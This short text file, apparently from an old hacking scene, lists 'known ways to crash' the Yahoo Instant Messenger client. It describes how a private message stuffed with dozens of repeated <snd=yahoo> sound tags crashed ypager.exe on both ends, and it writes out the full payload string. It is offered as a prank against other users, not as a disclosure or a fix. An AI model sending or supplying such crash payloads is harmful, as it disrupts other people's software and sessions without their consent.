The Following are known ways to crash the newest release of the yahoo 
instant messenger client.
While in chat or in a pm, if you send <snd=yahoo> you will hear the sound of 
some one yodeling... My friend l0hr was fooling around and he put alot of 
these in the pm, he sent it and it crashed the other user and himself...
the string looked a little something like this,
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> 
<snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo> <snd=yahoo>
this caused ypager.exe to crash.

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